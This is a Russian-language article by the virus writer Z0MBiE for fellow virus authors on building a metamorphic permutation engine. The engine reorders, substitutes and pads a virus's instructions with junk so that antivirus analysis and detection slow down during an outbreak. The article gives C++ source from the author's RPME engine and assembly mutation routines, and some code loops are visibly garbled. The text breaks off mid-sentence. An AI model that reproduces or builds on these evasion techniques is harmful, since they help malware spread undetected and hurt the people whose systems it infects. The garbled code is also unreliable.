О ПЕРМУТАЦИИ

версия 1.01

(x) 1997-2000 Z0MBiE
http://z0mbie.host.sk

СОДЕРЖАНИЕ

ВСТУПЛЕНИЕ

Почему я взялся за написание этой статьи? Потому, что разобрался с пермутацией и на этом пути узнал много нового, а такие знания представляют наибольшую ценность, и, следовательно, достойны опубликования. Сегодня пермутация распространена скорее в виде идеи, чем на практике. Я за то, чтобы положить начало широкому практическому применению. Но обо всем по порядку. Возможности программиста ограничиваются в первую очередь его воображением, и только потом умением и опытом. В какой-то момент вы подумаете - это все теория, фантазии. Поэтому хочу предупредить такие действия, сказав, что все здесь описанное, реализовано мной на практике, и это реально существует и работает.

Нас, вирмэйкеров, объединяет процесс. Цель у каждого своя. Кто-то получает удовольствие, кто-то знания, кто-то -- и то и другое. Удовольствия я оставлю себе, а знания предлагаю вам.

ТЕРМИНЫ

ПЕРМУТАЦИЯ

Слово "пермутация" пришло хрен знает откуда. В словаре написано, что это: перестановка, подстановка, размещение, перемена, изменение, перемещение и т.п. Мы будем понимать под пермутацией процесс изменения вируса на уровне ассемблерных инструкций. Еще более детально, пермутация -- это создание новой копии вируса состоящей из перемещенных в другое место и, возможно, измененных инструкций, используя в качестве источника имеющуюся копию.

МЕТАМОРФИЗМ (ГЕНЕРАЦИЯ КОДА)

Существует еще одна интересная фича, не имеющая к пермутации никакого отношения. Заключается эта фича вот в чем: вирус кодируется некоторым хитрым образом, а в процессе создания каждой новой полиморфной копии вируса на основе этих закодированных данных и генерируется ассемблерный код. Так поступают вирусы TMC, Lexotan и теперь уже порядком других появилось. Прообразом таких действий мне представляется генератор полиморфных расшифровщиков, где расшифровщик вырос до размеров вируса.

ПЛЮСЫ И МИНУСЫ ПЕРМУТАЦИИ

Минус тут один -- это сложно. Плюсы в том, что пермутирующий вирус сложнее дизассемблировать и изучать, и, следовательно при возникновении эпидемии вирус имеет больше времени на распространение. К этому вопросу стоит отнестись достаточно серьезно хотя бы потому, что если началось нечто вроде "цепной реакции" распространения вируса, и за каждый следующий час число копий значительно увеличивается, то любая задержка в написании антивирусного кода играет значительную роль.

Кроме того, с пермутацией вносятся сложности в процесс детектирования вируса в файле, замедление которого весьма нас порадует.

ОГРАНИЧЕНИЯ НА ИСХОДНЫЙ КОД

Поскольку пермутацию мы будем применять к своему собственному коду, то мы наложим на него некоторые ограничения, что позволит сильно упростить алгоритм движка и сделает возможными разные интересные вещи.

Здесь уже должно быть ясно, что внутри буфера с исходным кодом (т.е. с вирусом) не должно быть никаких данных -- они были бы просто потеряны после генерации нового буфера. Таким образом мы избавляемся от необходимости анализа данных. Взамен этого неиспользуемое пространство в выходном буфере может быть заполнено, например, случайными значениями.

Все команды условного перехода должны идти непосредственно после команд, изменяющих соответствующие флаги -- это позволит нам менять местами воздействующие на флаги инструкции.

ХРАНЕНИЕ ДАННЫХ ВНУТРИ КОДА

Рассмотрим вопрос о хранении данных внутри пермутирующего вируса. Учитывая то, что измененные инструкции могут быть другой длины, вирус есть буфер в котором содержится только код; этот буфер будет перестраиваться с каждой новой копией вируса.

В таком случае возможны два варианта:

Мне ближе всего второй вариант. Он обладает следующими свойствами: в вирусе присутствует только буфер с кодом; данные разбиты на части, каждая из которых генерируется по мере необходимости. Недостаток тут такой: код, генерирующий данные, занимает чуть больше места, чем сами данные.

Решением этой проблемы являются макросы, генерирующие код из текстовых строк.

 lea   edi, temparea                 x_push ecx, C:\WINDOWS\*.EXE~
 x_stosd C:\WINDOWS\*.EXE~           nop
                                     x_pop

Сгенеренный этими макросами код может выглядеть, например, так:

  BF00200010 mov   edi,0xxxxxxxx       33C9         xor  ecx,ecx
  33C0       xor   eax,eax             81E900868687 sub  ecx,087868600
  2DBDC5A3A8 sub   eax,0A8A3C5BD       51           push ecx
  AB         stosd                     81F12E3F213D xor  ecx,03D213F2E
  350A741818 xor   eax,01818740A       51           push ecx
  AB         stosd                     81C1290E04E5 add  ecx,0E5040E29
  050E0518DB add   eax,0DB18050E       51           push ecx
  AB         stosd                     81F11E1D1865 xor  ecx,065181D1E
  357916046F xor   eax,06F041679       51           push ecx
  AB         stosd                     81E90614E8F7 sub  ecx,0F7E81406
  2D2ECD0111 sub   eax,01101CD2E       51           push ecx
  AB         stosd                     90           nop
                                       8D642414     lea  esp,[esp+00014]

ВНЕШНИЕ ВЫЗОВЫ

На вход пермутирующему движку подается исходный буфер с кодом. Метки, на которые из этого буфера идет передача управления командами типа JMP/CALL/JCC (с относительным к EIP аргументом), могут быть как внутри так и вне буфера. Последние мы будем называть внешними метками. От пермутирующего движка будет требоваться сохранить работоспособными все внешние вызовы.

ДИЗАССЕМБЛИРОВАНИЕ ИНСТРУКЦИЙ

Практика показала, что если не идеально, то близко к совершенству вынесение дизассемблирования инструкций в отдельную задачу. При этом дизассемблирование имеется в виду не полное, а только на предмет длины инструкции. Поэтому мы отдельно пишем и отлаживаем дизассемблер длин, и применяем где только придется, включая и нашу задачу.

Дизассемблер длин может быть, конечно, расчитан только на те инструкции, которые используются в конкретном вирусе. Это упрощает дизассемблер в разы, лишая его универсальности. То есть такой дизассемблер может быть применен только к одному вирусу и в следующий раз придется его переделывать. Написав несколько штук таких весьма похожих подпрограмм, я остановился на универсальном дизассемблере длин LDE32, чего и вам желаю.

Итак, в дальнейшем мы знаем длину любой команды, и исходя из этого можем разбить весь вирус на минимальные его составляющие - инструкции.

СПИСОК ИНСТРУКЦИЙ

Для работы с инструкциями существует несколько препятствий. Например то, что инструкции переменной длины -- это заставляет встраивать в пермутирующий движок дизассемблер длин. (в вирусах Ply этот вопрос решен тем, что все команды дополнены до одинаковой длины NOP-ами). Также нам мешает то, что инструкции могут быть связаны командами типа JMP и CALL -- это не позволяет просто так убрать какую-нибудь инструкцию из программы или вставить в программу лишнюю инструкцию. Значит требуется преобразование ассемблерного кода в некоторую промежуточную сущность, кояя позволит легко оперировать инструкциями. Таким объектом является список инструкций. Можно обойтись и без списка инструкций. Так я поступил в ZCME. Движок работал за один проход, в котором одновременно происходило дизассемблирование старого кода и ассемблирование нового. В результате в один момент времени я мог рассматривать только одну ассемблерную команду, но не несколько. Список же позволяет не только единовременно оперировать несколькими инструкциями, но и производить над ними такие действия, которые без него весьма трудоемки.

ФОРМАТ ЗАПИСИ СПИСКА

Рассмотрим одну запись списка, соответствующую одной ассемблерной команде.

Во-первых, должен существовать указатель на следующую запись списка, коий равняется NULL для последней записи.

Следует отметить, что этот указатель связывает только записи списка, но не команды. То есть команда в следующей записи списка не является ассемблируемой сразу после команды из предыдущей записи.

Теперь информация о команде.

  1. собственно опкод (или поинтер на него)
  2. длина опкода
  3. указатель на запись следующей команды (но не обязательно на следующую запись в списке). =NULL, если текущая команда типа RET или JMP.
  4. указатель на запись условно-следующей команды, то есть той команды, на которую указывают call-ы, jcc и т.п., либо jmp-ы, либо же указатель на метку, внешнюю по отношению к исходному блоку кода. =NULL, если текущая команда не является одной из jmp/call/...
  5. флаги. во флагах указывается такая информация, как
    • является ли команда меткой (XREF),
    • является ли указатель на условно-следующую команду указателем на внешний адрес или на запись списка

В качестве дополнительной информации в записи может хранится еще и текущее смещение команды, оно используется во время дизассемблирования&обработки списка, а также во время ассемблирования&линковки.

  #define CM_STOP          1  // JMP/RET-alike instruction
  #define CM_HAVEREL       2  // have relative argument (JMP,JCC,CALL,etc.)
  #define CM_EXTREL        4  // rel. arg points to external label
  #define CM_ASSEMBLED     8  // alredy assembled
  #define CM_XREF          16 // label, i.e. have XREF

  struct hooy              // instruction list entry structure
  {
    BYTE   cmd[MAXCMDLEN]; // opcode
    BYTE*  ofs;            // pointer to current location (temporary)
    DWORD  len;            // length of command
    DWORD  flags;          // CM_xxx
    hooy*  rel;      // CM_HAVEREL: 0=NULL 1= CM_EXTREL: 0=hooy* 1=BYTE*
    hooy*  nxt;            // CM_STOP: 1=NULL 0=hooy*
    hooy*  next;           // next entry or NULL
  };

ЭТАПЫ ПЕРМУТАЦИИ

Итак, с учетом списка инструкций имеем три основных этапа:

  1. a) дизассемблирование кода (создание списка инструкций)
    b) обработка списка (*)
  2. изменение списка инструкций (собственно мутация)
  3. a) ассемблирование нового кода
    b) линковка (**)

(*) дизассемблирование предполагает наличие последующего этапа, то есть некоторую обработку списка уже после дизассемблирования всего исходного кода. Эта обработка позволит сделать команды независимыми от их исходных смещений, то есть заменить ссылки на смещения (на метки) ссылками на записи списка.

Кроме всего прочего, обработка списка позволяет выявить метки, то есть команды, на которые происходит передача управления. (эта информация потребуется при последующей мутации)

(**) Ассемблирование предполагает наличие последующей линковки. Это происходит потому, что существует ситуация, когда уже была ассемблирована первая команда с указателем на вторую, но еще не была ассемблирована вторая команда, то есть адрес второй команды еще не известен сейчас, а будет известен только позже.

ДИЗАССЕМБЛИРОВАНИЕ

Итак, дизассемблирование у нас есть разбор куска кода в список инструкций. Происходит это по следующему алгоритму:

  пометить все точки входа для последующей обработки
  while (есть помеченные для-последующей-обработки инструкции)
  {
    найти оффсет инструкции для-последующей-обработки
    for (;;)
    {
      вычислить длину команды (используя дизассемблер длин)
      пометить инструкцию как код
      добавить инструкцию в список
      если опкод JMP/CALL/JCC то обозначить метку на которую они показывают
         как 'для-последующей-обработки'
      если опкод RET или JMP то выход из цикла
      перейти к следующему опкоду
      если опкод уже обработан, выход из цикла
    }
  }

Ниже приведен кусок из движка RPME, дизассемблирующая часть:

  imap[ientry] = C_NEXT;                // mark entrypoint(s)
  for (hooy**h = &root;;) {             // main disasm cycle
    DWORD ip;                           // current address (relative)
    for (ip=0; ip=MAXCMDLEN)          // check error (len=-1,len>MAXCMDLEN)
        return ERR_DISASM;
      for (DWORD i=0; inext;
      *h = (hooy*)user_malloc(sizeof(hooy)); // allocate entry
      if (!*h) return ERR_NOMEMORY;
      (*h)->ofs=&ibuf[ip];
      if (h0) if (!h0->nxt) h0->nxt = (hooy*)(*h)->ofs;
      for (DWORD i=0; icmd[i]=(*h)->ofs[i];
      (*h)->len=len;
      (*h)->flags=0;
      if (*h==root) (*h)->flags|=CM_XREF; // mark entrypoint as XREF-ed
      (*h)->rel=NULL;
      if (rel!=NONE) {
        (*h)->flags|=CM_HAVEREL|CM_EXTREL;
        (*h)->rel=(hooy*)&ibuf[rel];
      };
      if (nxt==NONE) (*h)->flags|=CM_STOP;
      (*h)->nxt=NULL;
      (*h)->next=NULL;
      if (rel=isize) break;             // NONE/out of range?
      if (imap[ip]==C_CODE) {
        (*h)->nxt=(hooy*)&ibuf[ip];
        break;      // break if alredy code
      }
    } // cycle until RET found
  } // main disasm cycle

ПОДГОТОВКА СПИСКА К МУТАЦИИ

Собственно этот пункт не обязателен, он нужен для упрощения задачи. Здесь мы проводим две операции:

В принципе этот этап не обязателен если вы планируете использовать JMPы как постоянные команды. Я же использую JMPы в качестве мусора, поэтому здесь они удаляются, а при ассемблировании списка будут добавляться случайным образом.

АССЕМБЛИРОВАНИЕ СПИСКА

На этом шаге у нас есть список уже измененных инструкций из которого нужно сделать ассемблерный код. Ассемблирование списка происходит по следующему алгоритму:

  while (есть не ассемблированные команды в списке)
  {
    выбрать случайную инструкцию из списка
    for (;;)
    {
      с некоторй вероятностью: выбрать случайное место в выходном буфере
      копировать команду в буфер
      сохранить смещение команды в буфере в запись списка
      перейти к следующей команде
      если команда уже была добавлена в список, выход
    }
  }

Вот как это выглядит на C++:

  DWORD ip=0;
  if (poentry) *poentry=ip;
  printf("entrypoint at %08X\n", ip);
  if (ofiller!=NONE) for (DWORD i=0; inext)      // for each entry
  if (!(q->flags&CM_ASSEMBLED)) {       // if not assembled yet
    for (hooy* h=q; h; h=h->nxt) {        // for nxt-linked entries
      if (h->flags&CM_ASSEMBLED) {        // alredy assembled?
        omap[ip]=1;
        obuf[ip++]=0xE9;                  // link with jmp
        *(DWORD*)&omap[ip]=0x01010101;
        ip+=4;
        *(DWORD*)&obuf[ip-4]=(DWORD)h->ofs-(DWORD)&obuf[ip];
        break;                            // break
      } else {                            // not assembled yet
        h->flags|=CM_ASSEMBLED;
        for (DWORD i=0; ilen; i++) omap[ip+i]=1;
        h->ofs=&obuf[ip];
        for (DWORD i=0; ilen; i++) h->ofs[i]=h->cmd[i];
        ip+=h->len;
      }
      if (h->flags&CM_STOP) break;        // RET/JMP-alike
    }
  }

ЛИНКОВКА

Линковка здесь требуется не для абсолютных смещений, которые мы вовсе не рассматриваем, а для относительных к EIP 4х-байтных смещений, коии присутствуют после опкодов jmp,call,jcc. Относительный адрес перехода можно пофиксить зная, на которую запись списка указывает относительное смещение и зная оффсеты текущей команды и команды-метки (эти оффсеты становтся известны при ассемблировании).

  for (hooy* h=root; h; h=h->next)      // for each entry
    if (h->flags&CM_HAVEREL) {          // have relative argument?
      *(DWORD*)&h->ofs[h->len-4]=
        (h->flags&CM_EXTREL ? ((DWORD)h->rel+extrelfix) : (DWORD)h->rel->ofs)
        - (DWORD)h->ofs - h->len;
    }

ДОПОЛНЕНИЕ АЛГОРИТМА (PLUGIN-Ы) И ВНЕШНЯЯ МУТАЦИЯ

Совершенно охуительным качеством любого движка (равно как и вирусного конструктора) является добавление к нему новых возможностей. Причем сии дополнения должны быть намного проще чем написание всего движка и, желательно, приводить к таким изменениям в работе движка, чтобы антивируснику приходилось заново разбираться с кодом, произведенным в результате изменений. Именно по этому мутация, то есть -- мутация списка инструкций, производимая между дизассемблированием и ассемблированием, должна быть вынесена во внешнюю процедуру, которая может быть легко изменена и/или дополнена пользователем.

ИЗМЕНЕНИЕ СПИСКА (МУТАЦИЯ)

Очевидны три основных действия, применяемых к инструкциям: замена, перестановка и мусор (т.е. добавление мусора). Действие может быть ОБРАТИМЫМ и НЕОБРАТИМЫМ, в зависимости от того, возможно ли после него вернуться к исходному состоянию или нет. Необратимые действия как правило приводят к увеличению кода. Замена и перестановка являются операциями обратимыми. Добавление мусора может быть операцией как обратимой, так и необратимой, в зависимости от того, насколько наши возможности совпадают со сложностью алгоритма удаления мусора из кода. Комбинация замены и мусора увеличивает вероятность необратимых изменений в коде.

Возможны два варианта мутации, с использованием необратимых изменений и без них.

  1. В случае необратимых изменений, код будет каждый раз несколько увеличиваться.
  2. В случае только обратимых изменений, объем кода будет изменяться только в некоторых пределах.

ЗАМЕНА

Очевидно, сказать здесь почти нечего -- все определяется практической реализацией... (что называется -- смотри код)

Рассмотрим например такую команду, как условный переход (Jcc). Находим Jcc, меняем на JNcc (инвертируем условие, попросту - XORим опкод на 1). Меняем местами указатели на следующую и условно-следующую записи списка. Готово. Теперь при ассемблировании две ветви алгоритма (после Jcc) поменяются местами.

Пример:

;        JNZ (было)                   JZ (стало)

         ...                          ...
         cmp   eax, 'MZ'              cmp   eax, 'MZ'
         jnz   skip                   jz    exe
exe:     call  infect        skip:    nop
skip:    nop                          ...
         ...                 exe:     call  infect
                                      jmp   skip    ; auto-generated jmp

Еще пара вариантов замены: XOR r, r <--> SUB r, r, TEST r, r <--> OR r,r и т.п.

ПЕРЕСТАНОВКА

Учитывая одно из наложенных на код ограничений -- условные jmp-ы идут только сразу за командами, устанавливающими соответствующие флаги, рассмотрим 2 команды, следующая за которыми - не jcc.

Обязательным условием будет также отсутствие флага XREF на каждой из команд, то есть они не должны быть метками. Кроме того, из двух команд только одна может использовать стэк. А если какая-либо из команд использует ESP, то обе не должны использовать стэк.

  ttt [r1] [,r2]
  ttt [r3] [,r4]
  условие допустимости перестановки двух команд:
  (r1 != r4) && (r2 != r3) && (r1 != r3)

если какой-либо один из аргументов отсутствует, условия с ним не проверяются.

Применяя таким образом перестановку для всего списка инструкций легко добиваемся перемешивания некоторых команд друг с другом.

МУСОР

Процедуры перестановки команд и добавления мусора, а точнее их сложность, находятся в зависимости от ограничений на код, то есть от дополнительных правил, которые мы накладываем на ассемблерные инструкции. Чем сложнее мусор, добавляемый в код, тем сложнее его генерировать и удалять, и тем сложнее оставить программу работоспособной. С другой стороны, чем проще мусор - тем легче его генерировать и удалять, в идеале это NOP, не влияющий ни на флаги, ни на регистры, ни на стэк. При всем этом мусор не обладает практически никакой эффективностью, то есть не делает программу сложнее, хотя при этом сильно увеличивает результирующий код. Другими словами, если детектирующий алгоритм будут писать таким, каким я себе это представляю, то один хуй, убирать ли из вируса NOPы или более сложные инструкции - результат почти тот же самый.

О РЕЗУЛЬТАТАХ

О результатах расскажем и даже покажем кодом.

Итак, в середине пермутации движок вызывает процедуру обработки списка инструкций. (callback)

Проход по всем инструкциям вируса выглядит так:

                        mov     ebx, _root
__cycle:
                        ; обработка текущей инструкции

                        mov     ebx, [ebx].h_next
                        or      ebx, ebx
                        jnz     __cycle

Для того, чтобы во всем вирусе изменить все, например, NOPы на XCHG EBX,EBX в обработку инструкции достаточно добавить такой код:

                        cmp     [ebx].h_opcode, 90h
                        jne     __skip
                        mov     word ptr [ebx].h_opcode, 0DB87h
                        mov     [ebx].h_len, 2
__skip:

Для того, чтобы удалить инструкцию из списка и, соответственно, из вируса, делаем так:

                        mov     eax, [ebx].h_next
                        mov     eax, [eax].h_next
                        mov     [ebx].h_next, eax

или так:

                        mov     [ebx].h_len, 0
                        mov     [ebx].h_flags, 0

В первом случае могут остаться ссылки на эту запись (то есть она реально не удалится) (проверить сие можно так: test [ebx].h_flags, CM_XREF)

Для того, чтобы инвертировать все jcc на jncc с сохранением работоспособности кода, делаем так:

                        mov     ax, word ptr [ebx].h_opcode
                        and     ax, 0F0FFh
                        cmp     ax, 0800Fh  ; near jcc: 0F 8x nn nn nn nn
                        jne     __skip
                        xor     [ebx].h_opcode, 1
                        mov     eax, [ebx].h_nxt
                        xchg    eax, [ebx].h_rel
                        mov     [ebx].h_nxt, eax
__skip:

Мне кажется, что легкость приведенных операций и все возможные